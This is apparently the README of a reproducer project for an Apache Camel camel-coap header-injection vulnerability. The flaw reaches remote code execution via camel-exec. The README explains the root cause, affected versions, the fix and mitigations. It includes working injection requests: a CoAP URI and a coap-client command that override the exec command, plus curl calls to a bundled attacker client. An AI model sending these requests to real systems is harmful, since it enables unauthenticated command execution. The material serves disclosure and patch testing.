
Reproducer for CVE-2026-33453: Apache Camel camel-coap header injection to RCE via camel-exec
This project demonstrates a Camel message header injection vulnerability in Apache Camel's
camel-coap component, tracked as CVE-2026-33453. An unauthenticated attacker who can send a
single CoAP UDP packet can inject arbitrary Camel* control headers into the Exchange, achieving
remote code execution when the route forwards to a header-sensitive producer such as camel-exec.
Advisory: https://camel.apache.org/security/CVE-2026-33453.html
| Property | Value |
|---|
| Component | camel-coap |
| Affected Class | org.apache.camel.coap.CamelCoapResource (handleRequest) |
| Root cause | CoAP URI query parameters copied into Exchange headers with no HeaderFilterStrategy |
| CWE | CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes |
| Impact | Remote Code Execution (via header-sensitive producers, e.g. camel-exec) |
| Attack surface | A single unauthenticated CoAP UDP datagram (default port 5683) |
| Affected Versions | From 4.14.0 before 4.14.6, and from 4.15.0 before 4.18.1 |
| Fixed Versions | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| Reporter | Hyunwoo Kim (@v4bel) |
In affected versions, CamelCoapResource.handleRequest() iterates over the CoAP request's URI query
options and copies each one into the Camel Exchange In headers, without applying any
HeaderFilterStrategy:
// CamelCoapResource.handleRequest() - affected version
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
String name = (i == -1) ? s : s.substring(0, i);
String value = (i == -1) ? "" : s.substring(i + 1);
camelExchange.getIn().setHeader(name, value); // NO HeaderFilterStrategy!
}
CoAPEndpoint extends DefaultEndpoint (not DefaultHeaderFilterStrategyEndpoint) and CoAPComponent
does not implement HeaderFilterStrategyComponent, so there is no filter at all. An attacker can
therefore set any header — including Camel-internal Camel* control headers — simply by adding
query parameters to the CoAP request URI.
When the route delivers the message to a header-sensitive producer, those headers change its
behaviour. For camel-exec, the CamelExecCommandExecutable and CamelExecCommandArgs headers
override the executable and arguments configured on the endpoint (honoured by default in the affected
versions), yielding arbitrary OS command execution. The command's stdout is written back into the
Exchange body and returned in the CoAP response, giving an interactive RCE channel.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class); // return stdout in the CoAP response
A benign request runs echo hello. An attacker overrides the command via injected headers.
CoAP is UDP-based (RFC 7252) with no built-in authentication (DTLS is optional and disabled by
default), so no external service or Docker container is required — the reproducer app is both the
vulnerable CoAP server and a bundled attacker client (a raw client such as libcoap's coap-client
works too).
mvn clean package -DskipTests
mvn spring-boot:run
The app starts the vulnerable route on coap://0.0.0.0:5683/run and a helper REST controller on 8080.
curl http://localhost:8080/exploit/normal
# -> CoAP response: hello
# Default benign proof: touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"
# Choose a different executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"
Under the hood the bundled CoAP client sends a single datagram:
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned
With a raw CoAP client instead:
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"
ls -la /tmp/pwned
If /tmp/pwned exists, the injected header overrode the exec command → RCE.
The injection only needs a header-sensitive producer downstream. The advisory lists, among others:
CamelExecCommandExecutable / CamelExecCommandArgs → OS command executionCamelFileName → arbitrary file write / path traversalCamelBeanMethodName → invoke a different methodcoap://....removeHeaders("Camel*") between the CoAP consumer and that producer.No authentication is required; a single UDP datagram to port 5683 suffices.
The fix (CAMEL-23222) makes CoAPEndpoint carry a HeaderFilterStrategy and applies it in
handleRequest() before setting headers, so Camel*-prefixed names are filtered on the CoAP boundary
like every other transport:
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
camelExchange.getIn().setHeader(name, value);
}
Until upgrading:
.removeHeaders("Camel*") right after the
from("coap:...").coaps://) with client authentication to restrict who can reach the endpoint.CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── CoapExecRoute.java # the vulnerable victim route (coap -> exec)
│ └── ExploitController.java # bundled CoAP attacker client (/exploit/normal, /exploit/attack)
└── resources/
└── application.properties
This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.